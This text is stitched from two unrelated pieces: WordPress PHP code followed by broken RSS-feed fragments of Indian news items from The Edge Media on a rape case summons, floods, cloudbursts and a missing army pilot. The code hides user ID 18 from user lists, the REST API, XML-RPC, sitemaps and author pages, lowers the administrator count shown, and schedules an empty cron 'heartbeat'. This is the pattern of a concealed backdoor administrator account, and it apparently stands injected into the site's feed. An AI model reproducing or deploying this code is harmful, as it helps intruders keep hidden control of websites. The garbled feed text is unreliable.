add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Police leave a rape case notice on the door of a Rajasthan minister’s son who has gone missing appeared first on The Edge Media.
]]>
Rohit Joshi was then asked by the Delhi Police to appear before them on May 18. A copy of the summons was put on the wall of the officials’ home. The woman said in her complaint that the minister’s son raped her multiple times between January 8 and April 17 this year, promising to marry her, for which the Delhi Police initially submitted a zero First Information Report or zero FIR.
The post Police leave a rape case notice on the door of a Rajasthan minister’s son who has gone missing appeared first on The Edge Media.
]]>The post Uttarakhand rains: 52 dead, 5 missing; situation getting better appeared first on The Edge Media.
]]>
Since Sunday, 52 people have died as a result of torrential rain and landslides, according to government data. Seventeen people were hurt, and five people are still missing. The district of Nainital was the hardest hit, with 28 deaths reported on Tuesday.
The post Uttarakhand rains: 52 dead, 5 missing; situation getting better appeared first on The Edge Media.
]]>The post Pilot Missing 20 Days After Helicopter Crash, Army Says “Fully Committed To Retrieving” appeared first on The Edge Media.
]]>The Army has also said it ”empathises with the grief of relatives of the crew”.
The remains of one of the pilots on board, Lieutenant Colonel A S Batth, was recovered from the reservoir on August 15.
Neel Joshi, brother of the missing pilot Captain Jayant Joshi, told NDTV yesterday that the family is disappointed with the equipment being used in the search operation.
The post Pilot Missing 20 Days After Helicopter Crash, Army Says “Fully Committed To Retrieving” appeared first on The Edge Media.
]]>The post 4 dead, 36 missing after cloud burst at Jammu and Kashmir’s Kishtwar appeared first on The Edge Media.
]]>He said efforts are on to trace the missing persons. Official sources said that the missing persons are feared dead.
The post 4 dead, 36 missing after cloud burst at Jammu and Kashmir’s Kishtwar appeared first on The Edge Media.
]]>The post 3 dead, several missing after cloudburst in Uttarakhand. appeared first on The Edge Media.
]]>The Indian Meteorological Department or IMD has forecast isolated, extreme heavy rainfall over Uttarakhand for today.
“Three people died and four people were reported as missing after a cloudburst in Mando village in Uttarkashi district,” Inspector Jagdamba Prasad , Team Incharge, State Disaster Response Force (SDRF), was quoted as saying by news agency ANI.
The western himalayan region and adjoining northwest India are also likely to receive isolated heavy to very heavy rains during the period.
The post 3 dead, several missing after cloudburst in Uttarakhand. appeared first on The Edge Media.
]]>